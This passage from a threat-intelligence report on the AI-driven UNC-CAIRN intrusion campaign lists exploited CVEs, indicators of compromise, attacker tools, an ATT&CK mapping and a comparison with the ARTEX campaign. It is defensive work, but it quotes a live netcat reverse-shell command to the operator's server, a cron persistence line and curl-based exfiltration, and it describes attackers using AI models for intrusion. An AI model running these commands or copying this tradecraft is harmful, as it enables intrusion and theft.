The vpopmail shell access was nonetheless highly damaging: it provided read access to mail relay logs, SVN repository paths and authentication files, the MSSQL config, the JTurbo JDBC driver, and approximately 2.35 GB of email relay data (Mailbox.e2po_teamplus_com_tw). Full root was not required to achieve the operator’s primary objective of credential extraction.

11. CVE Inventory

CVEDescriptionTarget SurfaceOutcome
CVE-2014-6271ShellShock — bash environment variable RCETaiwanese SMTP server (qmail, bash 3.2)EXPLOITED — Confirmed RCE
CVE-2026-75650“StyleSmuggler” — Magento email template injectionConsumer e-commerce MagentoIn progress at discovery
CVE-2026-53787Amasty Order Attributes <4.0.0 — unauth file uploadConsumer e-commerce MagentoActive testing at discovery
CVE-2024-34102CosmicSting — Magento XXE/RCE (CVSS 9.8)Consumer e-commerce MagentoBlocked by CDN WAF (406)
CVE-2022-24086Magento template injection pre-auth RCEConsumer e-commerce MagentoBlocked by CDN WAF
CVE-2025-54236SessionReaper — Magento file uploadConsumer e-commerce MagentoConfirmed not applicable (patched)
CVE-2026-6279Avada Builder — arbitrary file uploadWordPress (retail staging subdomain)Patched on target
CVE-2026-8732WP Google Maps Gold — unauth admin createEuropean outdoor equipment WordPressBlocked by Wordfence 9.0.0
CVE-2024-3400Palo Alto GlobalProtect RCEInternet conglomerate edge deviceAttempted — no result
CVE-2026-44277FortiAuthenticator pre-auth vulnerabilityInternet conglomerate (6.6.4 identified)Patched on target

12. Indicators of Compromise

Network indicators

IPv4202[.]61[.]139[.]15Primary C2 / Cairn dispatcher (AS152194, CTG Server Ltd, HK)Confirmed
IPv4202[.]61[.]139[.]137Secondary operator egress IP (same /25 block)Confirmed
IPv420[.]78[.]168[.]45Azure-hosted remote attack worker (27K+ API calls observed)Confirmed
IPv43[.]89[.]199[.]21AWS address: outbound callback from Taiwanese victim to operator exfil listenerConfirmed
IPv435[.]241[.]192[.]106GCP address: source of K8s reverse shell beacon (port 4446)Confirmed
CIDR202[.]61[.]128[.]0/19Operator ASN block (AS152194, CTG Server Limited)High
ASNAS152194CTG Server Limited — Hong Kong-registered APAC bulletproof hosting. Spamhaus ASN-DROP listed.Confirmed

Ports (on primary C2: 202[.]61[.]139[.]15)

TCP/22SSHRoot SSH access. Credentials hardcoded in i051_shock_rce.py.Confirmed
TCP/4444Metasploit handlerDefault Metasploit reverse shell listener. Confirmed open during campaign.Confirmed
TCP/4446Netcat listenerK8s Redis pod reverse shell beacon target (nc 202.61.139.15 4446 -e /bin/sh).Confirmed
TCP/8000Cairn API (uvicorn)Basic auth protected. Exposes /projects, /intents, /api/provider/config endpoints. Azure worker polls this.Confirmed
TCP/8099BaseHTTP CSV endpointPython BaseHTTP returning Content-Type: text/csv. Likely exfiltrated loot or tasking feed.Confirmed
TCP/8443HTTPS (self-signed TLS)Returns empty JSON body {}. See TLS certificate indicators below.Confirmed
TCP/8997HTTP exfil listenerCaptures ShellShock command output as chunked PUT requests from victim server.Confirmed
TCP/9000SimpleHTTP open directoryPython SimpleHTTP/0.6 serving 150+ campaign artefacts. No authentication.Confirmed
TCP/39999SSE simulation serverServes cc_raw_stream.txt as server-sent events. Internal testing/replay use.High

TLS certificate (port 8443)

SHA-150441576dfa753397ce14265f08ba4220ba59a88Certificate fingerprint (SHA-1) — use for Shodan/Censys pivotConfirmed
MD503a9e4d337158e22183b2ba3032080eeCertificate fingerprint (MD5)Confirmed
CN202.61.139.15Common name equals host IP (self-signed)Confirmed
ProfileCA:TRUE • RSA-2048 • 2-day validity • SHA256WithRSAAutomated generation pattern. Cert rotates every 2 days; SHA-1 stale after ~5 Oct 2026. Use cert shape for future infrastructure hunting.Confirmed

File-based indicators

filenamecairn_guard.shCairn dispatcher memory management daemonConfirmed
filenamecairn_disk_guard.shCairn Docker disk sweep daemonConfirmed
filenamei051_shock_rce.pyCustom ShellShock SMTP exploit with operator C2 hardcodedConfirmed
filenameMssqlProbe.javaJDBC MSSQL credential verifier using JTurbo driverConfirmed
filenamefix_switcher.pyPatches ClinePass account rotation service in-placeConfirmed
filenamedump_clinepass.pyExtracts API keys from local Cairn API at 127.0.0.1:8000Confirmed
filenamewebxml_dbscan.pyScans Tomcat WEB-INF/web.xml for MODb MSSQL credentialsConfirmed
path/opt/cairn/dispatch.logCairn dispatcher log (229,828 lines)Confirmed
path/opt/cline-pass-switcher/server.jsClinePass account rotation serviceConfirmed
path~/.local/share/cairn/cairn.dbSQLite victim database (full manifest of 85+ targets)Confirmed
path/data/pwn.shReverse shell payload on compromised K8s podConfirmed
cron*/5 * * * * /bin/sh /data/pwn.shPersistence mechanism on K8s podConfirmed
docker imageoritera/cairn-worker-containerKali Linux base image used for attack containersConfirmed

Actor account indicators

account IDusr-01M399PRPE49Q9Z8R513CSYGT7ClinePass stolen subscription account 1Confirmed
account IDusr-01M39VDXTGSNJRC8Z6CGPKFSWPClinePass stolen subscription account 2Confirmed

13. Attacker Toolset

ToolLanguagePurpose
i051_shock_rce.pyPython 3Multi-mode ShellShock over SMTP: exec, shell, revshell, listen, auto (with hardcoded callback VPS SSH creds)
MssqlProbe.javaJavaJDBC credential verifier using JTurbo 4.0 driver; writes to /tmp/sqlprobe.out
webxml_dbscan.pyPython 2Extracts MODb MSSQL credentials from 11 predefined Tomcat WEB-INF/web.xml paths
cred_scan.pyPython 2Generic credential scanner across /etc, /usr/local, /opt; regex for JDBC, SQL Server, password patterns
config_cred_scan.pyPython 2Targeted config scanner for /usr/local/sms, /opt, /etc paths
intra_scan.pyPython 2Port scanner; targets 192.168.1.x LAN and 10.225.30.x MSSQL range; ports: 22,25,80,111,443,1433,2049,3306,5432,8080,10050
intra_banner.pyPython 2Banner grabber for specific hosts on 192.168.1.x and 10.225.30.x; handles SSH/HTTP/HTTPS/port-1433
probe_db_hosts.pyPython 2Checks 192.168.1.227 and 192.168.1.235 on port 1433
enum_redis.shBashPost-compromise enumeration script (run via Metasploit shell); dumps id, hostname, filesystem, mounts, env vars, crontab
dump_clinepass.pyPython 3Reads API key inventory from Cairn API at 127.0.0.1:8000/api/provider/config
fix_switcher.pyPython 3Patches server.js in-place to fix header encoding bug in ClinePass rotation service
save_cc_stream.pyPython 3Tests CommandCode API (api.commandcode.ai); saves SSE stream to /tmp/cc_raw_stream.txt
sim_server.pyPython 3Serves cc_raw_stream.txt as SSE on port 39999 for local API stream replay testing
live_tasks.pyPython 3Reads cairn.db for active intents; cross-references Docker container pids
map_intents.shBashMaps active intents across proj_001, proj_006, proj_008, proj_009, proj_014 via docker exec
cairn_guard.shBashDispatcher memory guard; defers restart until no active leases; rate-limits restart frequency
cairn_disk_guard.shBashDocker container disk sweep; preserves attack evidence and session records; clears dictionaries and package caches

14. MITRE ATT&CK Mapping

TechniqueSub-techniqueEvidence
T1190Exploit Public-Facing ApplicationShellShock (CVE-2014-6271) via SMTP; multiple Magento CVEs attempted; SSRF via internal API endpoint
T1059.004Unix ShellBash payload via ShellShock; netcat reverse shell on K8s pod
T1071.001Web ProtocolsCommand output exfiltrated via HTTP PUT to operator listener; Cairn API over HTTP
T1041Exfiltration over C2 ChannelShellShock channel uses curl -T - (chunked PUT) embedded in SMTP session
T1053.003CronReverse shell installed as */5 cron on compromised K8s pod
T1552.001Credentials in FilesMSSQL credentials from /opt/web.xml; GCP SA keys from K8s env/filesystem
T1078Valid AccountsStolen Cline Pass subscriptions; Magento REST admin token; MSSQL user eu/mactytech
T1046Network Service Scanningintra_scan.py against 192.168.1.x and 10.225.30.x; probe_db_hosts.py on port 1433
T1016System Network Configuration Discovery/proc/net/route, /proc/net/arp, ip addr, netstat enumeration via ShellShock channel
T1082System Information Discoveryid, uname, hostname, ps, mount, df via ShellShock; pod enumeration via reverse shell
T1057Process Discoveryps -ef, ps -eo via ShellShock; process tree enumeration
T1083File and Directory Discoveryfind commands for JTurbo.jar, web.xml, JSP/PHP files; ls across web directories
T1611Escape to HostK8s pod running as root; access to /proc, /sys, service network; reverse shell established
T1496Resource HijackingStolen ClinePass subscriptions (~$10K credit) funding AI inference
T1140Deobfuscate/Decode FilesBase64-encoded PowerShell listener in sakip_i061 archive
T1588.002Obtain Capabilities: ToolJTurbo JDBC driver downloaded from victim server directories; MssqlProbe.java staged on operator HTTP server
T1102Web ServiceOperator staging directory served via Python SimpleHTTP on non-standard port; Cairn API over HTTP

15. Attribution Assessment

AttributeAssessment
LanguageSimplified Chinese throughout all internal artefacts: session notes, tool comments, platform labels, API key labels, disk audit output. No Cantonese or Traditional Chinese observed. Consistent across hundreds of documents produced over 13 days.
HardwareTwo Raspberry Pi devices (pi-workbuddy, pi-cline-deepseek) as primary attack workers. Consumer-grade hardware suggests individual or small team operator rather than nation-state infrastructure.
AI toolchainDeepSeek v4.1-flash via pirated ClinePass subscriptions. Operator actively maintained and debugged the rotation service mid-campaign (fix_switcher.py committed with translation: "expected exactly 1 match, abort"). Deliberate preference: account label translates as "locked to DeepSeek official" indicating the operator actively avoided model substitution.
TargetingBroad opportunistic scope: US e-commerce (Magento), US digital health and automotive finance, Taiwanese messaging infrastructure, UK/European multi-tenant SaaS, European outdoor equipment. No evident political or espionage motive; data stolen (payment cards, credentials, MSSQL access) aligns with financial motivation.
OPSEC failuresOpen staging directory on non-standard port; hardcoded operator SSH credentials in exploit script; short-lived self-signed TLS certificates reusing predictable generation pattern; predictable ASN clustering. These failures enabled discovery but are common for financially motivated actors without state-level OPSEC discipline.
Known attributionDoes not match any publicly tracked group at time of writing. No shared TTPs, infrastructure, or tooling with known APT groups. Working name: UNC-CAIRN.

16. Comparison: UNC-CAIRN vs ARTEX

On 14 October 2026, Zscaler ThreatLabz published analysis of a concurrent campaign using ARTEX, an open-source agentic penetration testing framework, against South Korean financial institutions. The temporal and technical overlap warrants structured comparison.

AttributeOperation CAIRN (UNC-CAIRN)ARTEX Campaign (Zscaler)
Primary AI modelDeepSeek v4.1-flashDeepSeek v4.1-flash (primary) + Zhipu AI GLM-5.3 + SpaceXAI Grok 4.6
Campaign start24 September 2026Late September 2026
LanguageSimplified ChineseChinese-speaking (assessed)
FrameworkCustom-built, not open-sourceARTEX (GitHub, developer Autumn-27; taken private post-disclosure)
Victim scope85+ targets, global, multi-sectorMultiple South Korean financial institutions
Data stolenPayment cards, credentials, GCP keys, MSSQL creds~67,000 individuals’ PII (name, phone, income, loan limits)
MonetisationNot documented in recovered artefactsOperator used Claude Code sessions to seek advice on selling stolen PII via Korean-language Telegram channels
Platform sophisticationHigh (custom platform, production-grade tooling, iterative development)Moderate (modified open-source framework)
OPSECMultiple failures (open directory, hardcoded creds)Not assessed

The most parsimonious explanation is that these are two separate Chinese-speaking actors who independently adopted agentic AI frameworks for intrusion campaigns in the same two-week window. The shared use of DeepSeek v4.1-flash and the near-identical campaign start dates are striking, but ARTEX is open-source and publicly available, while Cairn appears to be a fully custom platform with months of prior engineering. This points to parallel development by actors operating in the same underground ecosystem who independently concluded that AI-driven autonomous attack tooling was viable and cost-effective, rather than a single actor running two campaign branches.

Key takeaway for defenders: Two separate actors, both Chinese-speaking, both initiating AI-driven autonomous intrusion campaigns in the last week of September 2026 is not coincidence. It indicates an inflection point in adversarial AI adoption. Defenders should treat autonomous AI-assisted scanning, reconnaissance, and exploitation as an active and expanding threat category, not a theoretical future risk.